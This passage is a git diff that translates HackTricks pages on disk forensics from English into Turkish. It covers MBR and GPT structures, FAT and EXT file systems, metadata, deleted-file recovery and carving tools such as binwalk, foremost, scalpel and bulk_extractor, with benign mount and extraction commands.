Derinlemesine bilgi için [MBR Wikipedia sayfasına](https://en.wikipedia.org/wiki/Master_boot_record) bakın. -The **Master Boot Record (MBR)** plays a crucial role in managing the logical partitions of a storage medium, which are structured with different [file systems](https://en.wikipedia.org/wiki/File_system). It not only holds partition layout information but also contains executable code acting as a boot loader. This boot loader either directly initiates the OS's second-stage loading process (see [second-stage boot loader](https://en.wikipedia.org/wiki/Second-stage_boot_loader)) or works in harmony with the [volume boot record](https://en.wikipedia.org/wiki/Volume_boot_record) (VBR) of each partition. For in-depth knowledge, refer to the [MBR Wikipedia page](https://en.wikipedia.org/wiki/Master_boot_record). - -## References +## Referanslar - [https://andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/](https://andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/) - [https://scudette.blogspot.com/2012/11/finding-kernel-debugger-block.html](https://scudette.blogspot.com/2012/11/finding-kernel-debugger-block.html) @@ -933,10 +764,4 @@ The **Master Boot Record (MBR)** plays a crucial role in managing the logical pa - [https://www.aldeid.com/wiki/Windows-userassist-keys](https://www.aldeid.com/wiki/Windows-userassist-keys) ​\* [https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table](https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table) - [https://answers.microsoft.com/en-us/windows/forum/all/uefi-based-pc-protective-mbr-what-is-it/0fc7b558-d8d4-4a7d-bae2-395455bb19aa](https://answers.microsoft.com/en-us/windows/forum/all/uefi-based-pc-protective-mbr-what-is-it/0fc7b558-d8d4-4a7d-bae2-395455bb19aa) -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md index 9ac27c92e..315c4459d 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -4,20 +4,20 @@ ## Partitions -A hard drive or an **SSD disk can contain different partitions** with the goal of separating data physically.\ -The **minimum** unit of a disk is the **sector** (normally composed of 512B). So, each partition size needs to be multiple of that size. +Bir sabit disk veya bir **SSD disk farklı bölümler içerebilir** ve bu, verileri fiziksel olarak ayırma amacını taşır.\ +Diskin **minimum** birimi **sektördür** (normalde 512B'den oluşur). Bu nedenle, her bölüm boyutu bu boyutun katı olmalıdır. ### MBR (master Boot Record) -It's allocated in the **first sector of the disk after the 446B of the boot code**. This sector is essential to indicate to the PC what and from where a partition should be mounted.\ -It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**. The **final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\ -MBR allows **max 2.2TB**. +**446B boot kodundan sonra diskin ilk sektöründe** tahsis edilir. Bu sektör, PC'ye bir bölümün ne zaman ve nereden bağlanması gerektiğini belirtmek için gereklidir.\ +En fazla **4 bölüm** (en fazla **1** aktif/**bootable** olabilir) olmasına izin verir. Ancak daha fazla bölüme ihtiyacınız varsa **genişletilmiş bölümler** kullanabilirsiniz. Bu ilk sektörün **son baytı** boot kayıt imzası **0x55AA**'dır. Sadece bir bölüm aktif olarak işaretlenebilir.\ +MBR **maksimum 2.2TB**'ye izin verir. ![](<../../../images/image (350).png>) ![](<../../../images/image (304).png>) -From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Signature** (if Windows is used). The logical drive letter of the hard disk depends on the Windows Disk Signature. Changing this signature could prevent Windows from booting (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. +MBR'nin **440 ile 443 baytları** arasında **Windows Disk İmzası** bulunabilir (Windows kullanılıyorsa). Sabit diskin mantıksal sürücü harfi, Windows Disk İmzasına bağlıdır. Bu imzanın değiştirilmesi, Windows'un başlatılmasını engelleyebilir (araç: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. ![](<../../../images/image (310).png>) @@ -47,101 +47,99 @@ From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Sig | 8 (0x08) | 4 (0x04) | Sectors preceding partition (little endian) | | 12 (0x0C) | 4 (0x04) | Sectors in partition | -In order to mount an MBR in Linux you first need to get the start offset (you can use `fdisk` and the `p` command) +Bir MBR'yi Linux'ta bağlamak için önce başlangıç ofsetini almanız gerekir (bunu `fdisk` ve `p` komutunu kullanarak yapabilirsiniz) -![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) - -And then use the following code +![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +Ve ardından aşağıdaki kodu kullanın ```bash #Mount MBR in Linux mount -o ro,loop,offset= #63x512 = 32256Bytes mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ ``` +**LBA (Mantıksal blok adresleme)** -**LBA (Logical block addressing)** +**Mantıksal blok adresleme** (**LBA**), bilgisayar depolama cihazlarında saklanan veri bloklarının konumunu belirtmek için yaygın olarak kullanılan bir şemadır; genellikle sabit disk sürücüleri gibi ikincil depolama sistemleridir. LBA, özellikle basit bir doğrusal adresleme şemasına sahiptir; **bloklar bir tam sayı indeksi ile konumlandırılır**, ilk blok LBA 0, ikinci LBA 1 şeklindedir. -**Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks** of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on. +### GPT (GUID Bölüm Tablosu) -### GPT (GUID Partition Table) +GUID Bölüm Tablosu, GPT olarak bilinir ve MBR (Ana Önyükleme Kaydı) ile karşılaştırıldığında geliştirilmiş yetenekleri nedeniyle tercih edilmektedir. Bölümler için **küresel benzersiz tanımlayıcı** ile ayırt edici olan GPT, birkaç yönden öne çıkmaktadır: -The GUID Partition Table, known as GPT, is favored for its enhanced capabilities compared to MBR (Master Boot Record). Distinctive for its **globally unique identifier** for partitions, GPT stands out in several ways: +- **Konum ve Boyut**: Hem GPT hem de MBR **sektör 0**'da başlar. Ancak, GPT **64 bit** üzerinde çalışırken, MBR **32 bit** kullanır. +- **Bölüm Sınırları**: GPT, Windows sistemlerinde **128 bölüme** kadar destekler ve **9.4ZB**'a kadar veri depolayabilir. +- **Bölüm İsimleri**: Bölümlere 36 Unicode karaktere kadar isim verme imkanı sunar. -- **Location and Size**: Both GPT and MBR start at **sector 0**. However, GPT operates on **64bits**, contrasting with MBR's 32bits. -- **Partition Limits**: GPT supports up to **128 partitions** on Windows systems and accommodates up to **9.4ZB** of data. -- **Partition Names**: Offers the ability to name partitions with up to 36 Unicode characters. +**Veri Dayanıklılığı ve Kurtarma**: -**Data Resilience and Recovery**: +- **Yedeklilik**: MBR'nin aksine, GPT bölümleme ve önyükleme verilerini tek bir yere hapsetmez. Bu verileri disk boyunca çoğaltarak veri bütünlüğünü ve dayanıklılığını artırır. +- **Döngüsel Yedeklilik Kontrolü (CRC)**: GPT, veri bütünlüğünü sağlamak için CRC kullanır. Veri bozulmasını aktif olarak izler ve tespit edildiğinde, GPT bozulmuş veriyi başka bir disk konumundan kurtarmaya çalışır. -- **Redundancy**: Unlike MBR, GPT doesn't confine partitioning and boot data to a single place. It replicates this data across the disk, enhancing data integrity and resilience. -- **Cyclic Redundancy Check (CRC)**: GPT employs CRC to ensure data integrity. It actively monitors for data corruption, and when detected, GPT attempts to recover the corrupted data from another disk location. +**Koruyucu MBR (LBA0)**: -**Protective MBR (LBA0)**: - -- GPT maintains backward compatibility through a protective MBR. This feature resides in the legacy MBR space but is designed to prevent older MBR-based utilities from mistakenly overwriting GPT disks, hence safeguarding the data integrity on GPT-formatted disks. +- GPT, koruyucu bir MBR aracılığıyla geriye dönük uyumluluğu sürdürmektedir. Bu özellik, eski MBR tabanlı yardımcı programların yanlışlıkla GPT disklerini üzerine yazmasını önlemek için tasarlanmıştır ve böylece GPT formatlı disklerde veri bütünlüğünü korur. ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (1062).png>) -**Hybrid MBR (LBA 0 + GPT)** +**Hibrit MBR (LBA 0 + GPT)** -[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) +[Wikipedia'dan](https://en.wikipedia.org/wiki/GUID_Partition_Table) -In operating systems that support **GPT-based boot through BIOS** services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes. +**EFI** yerine **BIOS** hizmetleri aracılığıyla **GPT tabanlı önyükleme** destekleyen işletim sistemlerinde, ilk sektör hala **önyükleyici** kodunun ilk aşamasını depolamak için kullanılabilir, ancak **değiştirilmiş** olarak **GPT** **bölümlerini** tanımak için. MBR'deki önyükleyici, 512 baytlık bir sektör boyutu varsaymamalıdır. -**Partition table header (LBA 1)** +**Bölüm tablosu başlığı (LBA 1)** -[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) +[Wikipedia'dan](https://en.wikipedia.org/wiki/GUID_Partition_Table) -The partition table header defines the usable blocks on the disk. It also defines the number and size of the partition entries that make up the partition table (offsets 80 and 84 in the table). +Bölüm tablosu başlığı, diskteki kullanılabilir blokları tanımlar. Ayrıca, bölüm tablosunu oluşturan bölüm girişlerinin sayısını ve boyutunu tanımlar (tablodaki 80 ve 84 ofsetleri). -| Offset | Length | Contents | +| Ofset | Uzunluk | İçerik | | --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) | -| 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | -| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | -| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | -| 20 (0x14) | 4 bytes | Reserved; must be zero | -| 24 (0x18) | 8 bytes | Current LBA (location of this header copy) | -| 32 (0x20) | 8 bytes | Backup LBA (location of the other header copy) | -| 40 (0x28) | 8 bytes | First usable LBA for partitions (primary partition table last LBA + 1) | -| 48 (0x30) | 8 bytes | Last usable LBA (secondary partition table first LBA − 1) | -| 56 (0x38) | 16 bytes | Disk GUID in mixed endian | -| 72 (0x48) | 8 bytes | Starting LBA of an array of partition entries (always 2 in primary copy) | -| 80 (0x50) | 4 bytes | Number of partition entries in array | -| 84 (0x54) | 4 bytes | Size of a single partition entry (usually 80h or 128) | -| 88 (0x58) | 4 bytes | CRC32 of partition entries array in little endian | -| 92 (0x5C) | \* | Reserved; must be zeroes for the rest of the block (420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes) | +| 0 (0x00) | 8 bayt | İmza ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h veya 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)küçük sonlu makinelerde) | +| 8 (0x08) | 4 bayt | UEFI 2.8 için Revizyon 1.0 (00h 00h 01h 00h) | +| 12 (0x0C) | 4 bayt | Küçük sonlu (bayt cinsinden, genellikle 5Ch 00h 00h 00h veya 92 bayt) başlık boyutu | +| 16 (0x10) | 4 bayt | [CRC32](https://en.wikipedia.org/wiki/CRC32) başlığın (ofset +0'dan başlık boyutuna kadar) küçük sonlu, bu alan hesaplama sırasında sıfırlanmıştır | +| 20 (0x14) | 4 bayt | Ayrılmış; sıfır olmalıdır | +| 24 (0x18) | 8 bayt | Mevcut LBA (bu başlık kopyasının konumu) | +| 32 (0x20) | 8 bayt | Yedek LBA (diğer başlık kopyasının konumu) | +| 40 (0x28) | 8 bayt | Bölümler için ilk kullanılabilir LBA (birincil bölüm tablosunun son LBA'sı + 1) | +| 48 (0x30) | 8 bayt | Son kullanılabilir LBA (ikincil bölüm tablosunun ilk LBA'sı − 1) | +| 56 (0x38) | 16 bayt | Disk GUID karışık sonlu | +| 72 (0x48) | 8 bayt | Bölüm girişlerinin bir dizisinin başlangıç LBA'sı (her zaman birincil kopyada 2) | +| 80 (0x50) | 4 bayt | Dizideki bölüm girişlerinin sayısı | +| 84 (0x54) | 4 bayt | Tek bir bölüm girişinin boyutu (genellikle 80h veya 128) | +| 88 (0x58) | 4 bayt | Bölüm girişleri dizisinin küçük sonlu CRC32'si | +| 92 (0x5C) | \* | Ayrılmış; geri kalan blok için sıfır olmalıdır (512 baytlık bir sektör boyutu için 420 bayt; ancak daha büyük sektör boyutları ile daha fazla olabilir) | -**Partition entries (LBA 2–33)** +**Bölüm girişleri (LBA 2–33)** -| GUID partition entry format | | | -| --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | -| Offset | Length | Contents | -| 0 (0x00) | 16 bytes | [Partition type GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (mixed endian) | -| 16 (0x10) | 16 bytes | Unique partition GUID (mixed endian) | -| 32 (0x20) | 8 bytes | First LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) | -| 40 (0x28) | 8 bytes | Last LBA (inclusive, usually odd) | -| 48 (0x30) | 8 bytes | Attribute flags (e.g. bit 60 denotes read-only) | -| 56 (0x38) | 72 bytes | Partition name (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units) | +| GUID bölüm giriş formatı | | | +| ------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | +| Ofset | Uzunluk | İçerik | +| 0 (0x00) | 16 bayt | [Bölüm türü GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (karışık sonlu) | +| 16 (0x10) | 16 bayt | Benzersiz bölüm GUID (karışık sonlu) | +| 32 (0x20) | 8 bayt | İlk LBA ([küçük sonlu](https://en.wikipedia.org/wiki/Little_endian)) | +| 40 (0x28) | 8 bayt | Son LBA (dahil, genellikle tek) | +| 48 (0x30) | 8 bayt | Nitelik bayrakları (örneğin, bit 60 yalnızca okunur olduğunu belirtir) | +| 56 (0x38) | 72 bayt | Bölüm adı (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE kod birimi) | -**Partitions Types** +**Bölüm Türleri** ![](<../../../images/image (83).png>) -More partition types in [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) +Daha fazla bölüm türü için [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) -### Inspecting +### İnceleme -After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In the following image an **MBR** was detected on the **sector 0** and interpreted: +[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) ile adli görüntüyü monte ettikten sonra, Windows aracı [**Active Disk Editor**](https://www.disk-editor.org/index.html)**'ı** kullanarak ilk sektörü inceleyebilirsiniz. Aşağıdaki görüntüde **sektör 0**'da bir **MBR** tespit edilmiştir ve yorumlanmıştır: ![](<../../../images/image (354).png>) -If it was a **GPT table instead of an MBR** it should appear the signature _EFI PART_ in the **sector 1** (which in the previous image is empty). +Eğer bir **MBR yerine bir GPT tablosu** olsaydı, **sektör 1**'de _EFI PART_ imzası görünmelidir (önceki görüntüde bu alan boştur). -## File-Systems +## Dosya Sistemleri -### Windows file-systems list +### Windows dosya sistemleri listesi - **FAT12/16**: MSDOS, WIN95/98/NT/200 - **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 @@ -151,86 +149,86 @@ If it was a **GPT table instead of an MBR** it should appear the signature _EFI ### FAT -The **FAT (File Allocation Table)** file system is designed around its core component, the file allocation table, positioned at the volume's start. This system safeguards data by maintaining **two copies** of the table, ensuring data integrity even if one is corrupted. The table, along with the root folder, must be in a **fixed location**, crucial for the system's startup process. +**FAT (Dosya Tahsis Tablosu)** dosya sistemi, hacmin başlangıcında yer alan dosya tahsis tablosu etrafında tasarlanmıştır. Bu sistem, verilerin bütünlüğünü sağlamak için tablonun **iki kopyasını** tutarak verileri korur; bu sayede bir kopyası bozulsa bile veri bütünlüğü sağlanır. Tablo, kök klasör ile birlikte **sabit bir konumda** olmalıdır; bu, sistemin başlatma süreci için kritik öneme sahiptir. -The file system's basic unit of storage is a **cluster, usually 512B**, comprising multiple sectors. FAT has evolved through versions: +Dosya sisteminin temel depolama birimi bir **küme, genellikle 512B**'dir ve birden fazla sektörden oluşur. FAT, sürümler boyunca evrim geçirmiştir: -- **FAT12**, supporting 12-bit cluster addresses and handling up to 4078 clusters (4084 with UNIX). -- **FAT16**, enhancing to 16-bit addresses, thereby accommodating up to 65,517 clusters. -- **FAT32**, further advancing with 32-bit addresses, allowing an impressive 268,435,456 clusters per volume. +- **FAT12**, 12 bit küme adreslerini destekler ve 4078 kümeye kadar (4084 UNIX ile) işleyebilir. +- **FAT16**, 16 bit adreslere yükseltilerek 65,517 kümeye kadar destek sağlar. +- **FAT32**, 32 bit adreslerle daha da ilerleyerek her hacim için 268,435,456 kümeye kadar izin verir. -A significant limitation across FAT versions is the **4GB maximum file size**, imposed by the 32-bit field used for file size storage. +FAT sürümleri arasında önemli bir sınırlama, **4GB maksimum dosya boyutu**'dur; bu, dosya boyutu depolamak için kullanılan 32 bit alan tarafından dayatılmaktadır. -Key components of the root directory, particularly for FAT12 and FAT16, include: +FAT12 ve FAT16 için kök dizininin ana bileşenleri şunlardır: -- **File/Folder Name** (up to 8 characters) -- **Attributes** -- **Creation, Modification, and Last Access Dates** -- **FAT Table Address** (indicating the start cluster of the file) -- **File Size** +- **Dosya/Klasör Adı** (en fazla 8 karakter) +- **Nitelikler** +- **Oluşturma, Değiştirme ve Son Erişim Tarihleri** +- **FAT Tablosu Adresi** (dosyanın başlangıç kümesini gösterir) +- **Dosya Boyutu** ### EXT -**Ext2** is the most common file system for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. +**Ext2**, **günlük tutmayan** bölümler (**çok fazla değişmeyen bölümler**) için en yaygın dosya sistemidir; **Ext3/4** ise genellikle **diğer bölümler** için **günlük tutan** sistemlerdir. -## **Metadata** +## **Meta Veriler** -Some files contain metadata. This information is about the content of the file which sometimes might be interesting to an analyst as depending on the file type, it might have information like: +Bazı dosyalar meta veriler içerir. Bu bilgiler, dosyanın içeriği hakkında olup, bazen bir analist için ilginç olabilir; dosya türüne bağlı olarak, aşağıdaki bilgileri içerebilir: -- Title -- MS Office Version used -- Author -- Dates of creation and last modification -- Model of the camera -- GPS coordinates -- Image information +- Başlık +- Kullanılan MS Office Versiyonu +- Yazar +- Oluşturma ve son değiştirme tarihleri +- Kameranın modeli +- GPS koordinatları +- Görüntü bilgileri -You can use tools like [**exiftool**](https://exiftool.org) and [**Metadiver**](https://www.easymetadata.com/metadiver-2/) to get the metadata of a file. +Bir dosyanın meta verilerini almak için [**exiftool**](https://exiftool.org) ve [**Metadiver**](https://www.easymetadata.com/metadiver-2/) gibi araçları kullanabilirsiniz. -## **Deleted Files Recovery** +## **Silinmiş Dosyaların Kurtarılması** -### Logged Deleted Files +### Kaydedilen Silinmiş Dosyalar -As was seen before there are several places where the file is still saved after it was "deleted". This is because usually the deletion of a file from a file system just marks it as deleted but the data isn't touched. Then, it's possible to inspect the registries of the files (like the MFT) and find the deleted files. +Daha önce görüldüğü gibi, bir dosya "silindikten" sonra hala kaydedildiği birkaç yer vardır. Bunun nedeni, genellikle bir dosyanın dosya sisteminden silinmesinin sadece silindi olarak işaretlenmesidir; ancak veri dokunulmamıştır. Bu nedenle, dosyaların kayıtlarını (MFT gibi) incelemek ve silinmiş dosyaları bulmak mümkündür. -Also, the OS usually saves a lot of information about file system changes and backups, so it's possible to try to use them to recover the file or as much information as possible. +Ayrıca, işletim sistemi genellikle dosya sistemi değişiklikleri ve yedeklemeleri hakkında çok fazla bilgi kaydeder, bu nedenle dosyayı veya mümkün olduğunca fazla bilgiyi kurtarmak için bunları kullanmaya çalışmak mümkündür. {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### **File Carving** +### **Dosya Oymacılığı** -**File carving** is a technique that tries to **find files in the bulk of data**. There are 3 main ways tools like this work: **Based on file types headers and footers**, based on file types **structures** and based on the **content** itself. +**Dosya oymacılığı**, **veri yığınında dosyaları bulmaya çalışan** bir tekniktir. Bu tür araçların çalıştığı 3 ana yol vardır: **Dosya türü başlıkları ve alt başlıklarına dayalı**, dosya türü **yapılarına** dayalı ve **içerik**'e dayalı. -Note that this technique **doesn't work to retrieve fragmented files**. If a file **isn't stored in contiguous sectors**, then this technique won't be able to find it or at least part of it. +Bu tekniğin **parçalanmış dosyaları geri almak için çalışmadığını** unutmayın. Eğer bir dosya **bitişik sektörlerde depolanmamışsa**, bu teknik onu veya en azından bir kısmını bulamayacaktır. -There are several tools that you can use for file Carving indicating the file types you want to search for +Aradığınız dosya türlerini belirterek dosya oymacılığı için kullanabileceğiniz birkaç araç vardır. {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### Data Stream **C**arving +### Veri Akışı **C**arving -Data Stream Carving is similar to File Carving but **instead of looking for complete files, it looks for interesting fragments** of information.\ -For example, instead of looking for a complete file containing logged URLs, this technique will search for URLs. +Veri Akışı Oymacılığı, Dosya Oymacılığına benzer, ancak **tam dosyalar aramak yerine, ilginç bilgi parçalarını arar**.\ +Örneğin, kaydedilmiş URL'leri içeren bir tam dosya aramak yerine, bu teknik URL'leri arayacaktır. {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### Secure Deletion +### Güvenli Silme -Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content** of a file with junk data several times, and then **remove** the **logs** from the **$MFT** and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**.\ -You may notice that even performing that action there might be **other parts where the existence of the file is still logged**, and that's true and part of the forensics professional job is to find them. +Açıkça, dosyaları ve bunlarla ilgili logların bir kısmını **"güvenli" bir şekilde silmenin** yolları vardır. Örneğin, bir dosyanın içeriğini birkaç kez gereksiz verilerle **üst üste yazmak** ve ardından dosya ile ilgili **$MFT** ve **$LOGFILE**'dan **logları kaldırmak** ve **Hacim Gölge Kopyalarını** **kaldırmak** mümkündür.\ +Bu işlemi gerçekleştirirken, dosyanın varlığının hala **diğer parçalarda kaydedilmiş olabileceğini** fark edebilirsiniz; bu doğrudur ve adli uzmanların işinin bir parçası da bunları bulmaktır. -## References +## Referanslar - [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) - [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) - [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html) - [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service) -- **iHackLabs Certified Digital Forensics Windows** +- **iHackLabs Sertifikalı Dijital Adli Windows** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index 1920c497a..27d36e706 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -1,95 +1,87 @@ -# File/Data Carving & Recovery Tools +# Dosya/Veri Oymacılığı ve Kurtarma Araçları {{#include ../../../banners/hacktricks-training.md}} -## Carving & Recovery tools +## Oymacılık ve Kurtarma Araçları -More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) +Daha fazla araç için [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) ### Autopsy -The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kinds of images, but not simple files. +Görüntülerden dosya çıkarmak için adli bilimlerde en yaygın kullanılan araç [**Autopsy**](https://www.autopsy.com/download/)'dir. İndirin, kurun ve "gizli" dosyaları bulmak için dosyayı içe aktarmasını sağlayın. Autopsy'nin disk görüntüleri ve diğer türdeki görüntüleri desteklemek için tasarlandığını, ancak basit dosyalar için değil olduğunu unutmayın. ### Binwalk -**Binwalk** is a tool for analyzing binary files to find embedded content. It's installable via `apt` and its source is on [GitHub](https://github.com/ReFirmLabs/binwalk). - -**Useful commands**: +**Binwalk**, gömülü içeriği bulmak için ikili dosyaları analiz etmek için kullanılan bir araçtır. `apt` aracılığıyla kurulabilir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'ta bulunmaktadır. +**Faydalı komutlar**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ### Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for its default configured file types. - +Başka bir yaygın araç **foremost** ile gizli dosyaları bulmaktır. Foremost'un yapılandırma dosyasını `/etc/foremost.conf` içinde bulabilirsiniz. Eğer sadece belirli dosyaları aramak istiyorsanız, bunların yorumunu kaldırın. Eğer hiçbir şeyin yorumunu kaldırmazsanız, foremost varsayılan olarak yapılandırılmış dosya türlerini arayacaktır. ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` - ### **Scalpel** -**Scalpel** is another tool that can be used to find and extract **files embedded in a file**. In this case, you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract. - +**Scalpel**, bir dosya içinde gömülü **dosyaları** bulmak ve çıkarmak için kullanılabilecek bir başka araçtır. Bu durumda, çıkarmak istediğiniz dosya türlerini yapılandırma dosyasından (_/etc/scalpel/scalpel.conf_) yorumdan çıkarmanız gerekecektir. ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ### Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information (URLs, domains, IPs, MACs, mails)** and more **files**. You only have to do: +Bu araç kali içinde gelir ama burada bulabilirsiniz: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +Bu araç bir görüntüyü tarayabilir ve içindeki **pcap'leri** **çıkartabilir**, **ağ bilgilerini (URL'ler, alan adları, IP'ler, MAC'ler, mailler)** ve daha fazla **dosyayı** alabilir. Yapmanız gereken tek şey: ``` bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered (passwords?), **analyse** the **packets** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware** or **non-existent**). +Tüm **bilgileri** (şifreler?) toplayan aracın üzerinden geçin, **paketleri analiz edin** (oku[ **Pcaps analizi**](../pcap-inspection/)), **garip alan adlarını** ( **kötü amaçlı yazılım** veya **var olmayan** alan adlarıyla ilgili) arayın. ### PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +Bunu [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) adresinde bulabilirsiniz. -It comes with GUI and CLI versions. You can select the **file-types** you want PhotoRec to search for. +GUI ve CLI sürümleri ile gelir. PhotoRec'in aramasını istediğiniz **dosya türlerini** seçebilirsiniz. ![](<../../../images/image (242).png>) ### binvis -Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/). +[Kod](https://code.google.com/archive/p/binvis/) ve [web sayfası aracını](https://binvis.io/#/) kontrol edin. -#### Features of BinVis +#### BinVis'in Özellikleri -- Visual and active **structure viewer** -- Multiple plots for different focus points -- Focusing on portions of a sample -- **Seeing stings and resources**, in PE or ELF executables e. g. -- Getting **patterns** for cryptanalysis on files -- **Spotting** packer or encoder algorithms -- **Identify** Steganography by patterns -- **Visual** binary-diffing +- Görsel ve aktif **yapı görüntüleyici** +- Farklı odak noktaları için birden fazla grafik +- Bir örneğin bölümlerine odaklanma +- PE veya ELF yürütülebilir dosyalarda **dize ve kaynakları görme** +- Dosyalar üzerinde kriptoanaliz için **desenler** elde etme +- **Paketleyici** veya kodlayıcı algoritmalarını 